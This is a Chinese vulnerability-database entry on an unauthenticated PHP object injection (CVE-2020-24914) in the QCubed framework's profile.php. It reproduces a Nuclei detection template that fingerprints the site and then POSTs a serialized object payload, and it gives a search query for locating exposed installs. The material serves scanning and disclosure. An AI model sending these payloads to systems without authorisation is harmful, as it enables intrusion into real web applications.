漏洞信息
漏洞名称: QCubed PHP Object Injection Vulnerability
漏洞编号:
漏洞类型: 反序列化
漏洞等级: 严重
漏洞描述: QCubed是一个PHP框架,用于快速开发Web应用程序。它广泛应用于各种Web开发项目中,提供了一个丰富的组件库和工具,以支持开发者的高效开发。该框架的典型部署场景包括企业级服务和常见的Web应用组件。由于其广泛的使用,该框架的安全性对许多项目至关重要。
该漏洞属于反序列化类型,技术根源在于QCubed框架的profile.php文件中存在对不可信的POST数据进行反序列化的操作。攻击者可以通过构造恶意的POST请求,利用这一漏洞实现PHP对象注入,进而执行任意代码。这种漏洞的利用不需要认证,攻击者可以远程利用此漏洞,对系统造成严重影响。
该漏洞的影响极为严重,因为它允许未认证的攻击者远程执行任意代码,可能导致服务器被完全控制,数据泄露,服务中断等严重后果。由于漏洞的利用条件简单,且不需要用户交互,因此可以被自动化工具广泛利用,对使用QCubed框架的Web应用构成了极大的安全威胁。
产品厂商: QCubed
产品名称: QCubed
影响版本: 3.1.1 and all versions
搜索语法: title=”QCubed” || body=”qcubed”
来源: https://github.com/projectdiscovery/nuclei-templates/blob/824698f0d3eee3620f587a0b400253d11106ffc6/http%2Fvulnerabilities%2Fphp%2Fqcubed-php-object-injection.yaml
类型: projectdiscovery/nuclei-templates:github issues
POC详情
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76
| id: qcubed-php-object-injection
info: name: QCubed PHP Object Injection (CVE-2020-24914) author: pranjal severity: critical description: | QCubed 3.1.1 and all versions contain a PHP object injection caused by unserializing untrusted POST data in profile.php, letting unauthenticated attackers execute arbitrary code via crafted POST requests. reference: - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-24914 - http://seclists.org/fulldisclosure/2021/Mar/28 - https://tech.feedyourhead.at/content/QCubed-PHP-Object-Injection-CVE-2020-24914 - https://www.ait.ac.at/themen/cyber-security/pentesting/security-advisories/ait-sa-20210215-01 classification: cwe-id: CWE-502 cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 metadata: max-request: 2 product: QCubed fofa-query: title="QCubed" || body="qcubed" tags: cve,cve2020,qcubed,php,object-injection,rce,kev
flow: http(1) && http(2)
http: - raw: - | GET / HTTP/1.1 Host: {{Hostname}} User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
matchers: - type: dsl dsl: - 'status_code==200' - 'contains(tolower(body), "qcubed") || contains(tolower(body), "qform")' condition: and internal: true
- raw: - | POST /profile.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
data=O:8:"stdClass":1:{s:4:"test";s:10:"{{randstr}}";}&action=save&id=1
matchers-condition: and matchers: - type: word part: body words: - "stdClass" - "{{randstr}}"
- type: status status: - 200
- type: dsl dsl: - 'contains(body, "stdClass")' - 'contains(body, "{{randstr}}")' condition: and
extractors: - type: regex part: body regex: - 'O:8:"stdClass":1:\{s:4:"test";s:\d+:"[^"]+";\}' internal: true
|